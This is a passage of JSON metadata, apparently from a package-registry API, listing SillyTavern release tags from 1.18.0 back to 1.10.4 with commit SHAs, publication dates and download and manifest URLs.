/manifests"},{"name":"1.18.0","sha":"51ad27fb86d39a3daca3adaa970375c9670c12df","kind":"commit","published_at":"2026-05-03T15:45:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.18.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.18.0/manifests"},{"name":"1.17.0","sha":"e3f41666c69db032e17e079fcddcf40cf47e8593","kind":"commit","published_at":"2026-03-28T17:22:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.17.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.17.0/manifests"},{"name":"1.16.0","sha":"e3b866b5d2bcc7fbaa889bb926fbb567cd1ed25b","kind":"commit","published_at":"2026-02-14T15:46:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.16.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.16.0/manifests"},{"name":"1.15.0","sha":"1c0e7ea9556afcc3ae55c888287dff67a6aa42fc","kind":"commit","published_at":"2025-12-28T16:28:51.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.15.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.15.0/manifests"},{"name":"1.14.0","sha":"9c9be90821ffd6132b40b5f04982522a61d7ad30","kind":"commit","published_at":"2025-11-22T15:27:11.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.14.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.14.0/manifests"},{"name":"1.13.5","sha":"74c158bd2e98b8b4dc54d2bb0d088c5a5e918826","kind":"commit","published_at":"2025-10-16T17:31:22.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.5/manifests"},{"name":"1.13.4","sha":"6dabf12ed785087cfe50b8027c582b16faa2ac4d","kind":"commit","published_at":"2025-09-13T17:48:26.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.4/manifests"},{"name":"1.13.3","sha":"1a1f57e00ead3b7e4a30269caf4b1c756310206b","kind":"commit","published_at":"2025-08-25T15:12:02.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.3/manifests"},{"name":"1.13.2","sha":"9a191c41e8b8fa7d203974c0b0debdfe1146a7a0","kind":"commit","published_at":"2025-07-26T19:16:05.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.2/manifests"},{"name":"1.13.1","sha":"a2efd8792c1cd0791c63bf6fa39ab03dada5d4bd","kind":"commit","published_at":"2025-06-22T15:15:27.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.1/manifests"},{"name":"1.13.0","sha":"90eb74545c5071ddc614d838d163c0a164f73382","kind":"commit","published_at":"2025-05-25T19:18:09.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.0/manifests"},{"name":"1.12.14","sha":"689637b36c178478545b46a4bec0f25ae3b97471","kind":"commit","published_at":"2025-04-21T15:51:57.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.14","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.14/manifests"},{"name":"1.12.13","sha":"d8c8bfa8a43f34ba02ff421fc8adcc8376daff61","kind":"commit","published_at":"2025-03-15T20:47:35.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.13","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.13/manifests"},{"name":"1.12.12","sha":"75aec772719006bdefcdfa2f5a0fb0ac0d257158","kind":"commit","published_at":"2025-02-16T19:15:21.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.12","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.12/manifests"},{"name":"1.12.11","sha":"cc010643ad4f8fb5bbcfe7d36c6108ff5729c396","kind":"commit","published_at":"2025-01-18T22:13:38.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.11","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.11/manifests"},{"name":"1.12.10","sha":"f246bc5ac6eeff65de0e482bc88f22e9b55a8eac","kind":"commit","published_at":"2025-01-01T15:21:09.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.10","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.10/manifests"},{"name":"1.12.9","sha":"bf4357774dc8ba1171899687181edea071b08221","kind":"commit","published_at":"2024-12-07T13:12:23.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.9","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.9/manifests"},{"name":"1.12.8","sha":"de3f340a557477773b35726c4ecbcc016fc9743b","kind":"commit","published_at":"2024-12-01T15:31:30.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.8/manifests"},{"name":"1.12.7","sha":"da18b5e85d1ebc1f2834c3422b7946b98447f625","kind":"commit","published_at":"2024-10-26T13:44:52.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.7/manifests"},{"name":"1.12.6","sha":"648e70b8c6ae10052c2e28d164390ff50846777a","kind":"commit","published_at":"2024-09-24T17:31:07.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.6/manifests"},{"name":"1.12.5","sha":"2428c3979fe6dee360426b72fe6aa88e46091dd8","kind":"commit","published_at":"2024-08-24T14:59:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.5/manifests"},{"name":"1.12.4","sha":"2cd51819e806ba59a900aa77cf0e362d980ab921","kind":"commit","published_at":"2024-07-27T18:56:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.4/manifests"},{"name":"1.12.3","sha":"6e86ab07dde6fb663b50616ff84f7a54d1a3c186","kind":"commit","published_at":"2024-07-03T09:26:53.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.3/manifests"},{"name":"1.12.2","sha":"6eb74cb7157b3600360c8e90528419341e214f30","kind":"commit","published_at":"2024-06-30T15:22:35.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.2/manifests"},{"name":"1.12.1","sha":"f05d90bada1434fc540b733a6e04f231ed54ec3e","kind":"commit","published_at":"2024-06-08T15:45:16.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.1/manifests"},{"name":"1.12.0-6","sha":"db2c9a9926abba2688e6df9b11e194194a4db41e","kind":"commit","published_at":"2024-05-20T20:50:34.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.0-6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.0-6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.0-6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-6/manifests"},{"name":"1.12.0","sha":"53496d70f1cfca7891d75058e8be39999ea67657","kind":"commit","published_at":"2024-05-19T13:45:57.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0/manifests"},{"name":"1.12.0-preview","sha":"80ff8383fe4688f7deb8de69d706a56ce219f79e","kind":"commit","published_at":"2024-04-21T19:36:28.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.0-preview","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.0-preview","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.0-preview","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-preview","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-preview/manifests"},{"name":"1.11.8","sha":"47b656260595967ad70b749845f7b5b33ed3631c","kind":"commit","published_at":"2024-04-21T18:24:12.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.8/manifests"},{"name":"1.11.7","sha":"13762470b032c01fe6777a9331fb08387de3632b","kind":"commit","published_at":"2024-04-06T12:30:02.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.7/manifests"},{"name":"1.11.6","sha":"f121d1da564c6402750683d36b02365631cf04ac","kind":"commit","published_at":"2024-03-16T14:35:32.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.6/manifests"},{"name":"1.11.5","sha":"6f5dbc2a52b3e6371bb2bfacd433905db60a1684","kind":"commit","published_at":"2024-02-27T19:11:16.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.5/manifests"},{"name":"1.11.4-1","sha":"2d152d2705408f0ad635de9705c0ae70d06b4331","kind":"commit","published_at":"2024-02-11T13:38:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.4-1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.4-1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.4-1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4-1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4-1/manifests"},{"name":"1.11.4","sha":"91f31e746ee2f0c1e31f852facff64e00205729c","kind":"commit","published_at":"2024-02-10T19:24:42.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4/manifests"},{"name":"1.11.3","sha":"593129175b9c3a972e084869cd94be5c83ee4593","kind":"commit","published_at":"2024-02-04T18:42:21.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.3/manifests"},{"name":"1.11.2","sha":"5f5c066373b0b41ddf42ce1d50e4fe20201a88b1","kind":"commit","published_at":"2024-01-14T18:52:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.2/manifests"},{"name":"1.11.1","sha":"736223a86acfd9919c707bd09c3ebc02a8ab00fd","kind":"commit","published_at":"2023-12-23T18:47:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.1/manifests"},{"name":"1.11.0","sha":"f43d738dfd10b9430130ec1bd2805aac02c6ecf0","kind":"commit","published_at":"2023-12-09T17:59:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.0/manifests"},{"name":"1.10.10","sha":"74e5e0e4c0f800651fea7c57604158f552435393","kind":"commit","published_at":"2023-11-26T18:38:50.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.10","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.10/manifests"},{"name":"1.10.9","sha":"7bf62b3dad1c63ae0255d6c18e520ba97210d9ab","kind":"commit","published_at":"2023-11-12T23:52:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.9","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.9/manifests"},{"name":"1.10.8","sha":"09ebbff30d47206bd020a5a6f3f0f2531d112266","kind":"commit","published_at":"2023-11-11T14:51:08.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.8/manifests"},{"name":"1.10.7","sha":"9be3645152dab9d5b5062fa0546389aedca71d13","kind":"commit","published_at":"2023-10-27T10:26:43.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.7/manifests"},{"name":"1.10.6","sha":"b4c7bb1f7b9ed38358d61c9b9d3a78ac7e9d6b85","kind":"commit","published_at":"2023-10-26T15:44:18.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.6/manifests"},{"name":"1.10.5","sha":"c9c4f3063704c9c447466575b9831a6de368f31a","kind":"commit","published_at":"2023-10-08T18:08:26.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.5/manifests"},{"name":"1.10.4","sha":"565327fe1ef5a3eb16cd1b9ce28b9620962a3cda","kind":"commit","published_at":"2023-09-22T20:07:52.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.4","dependencies_parsed_at":null,"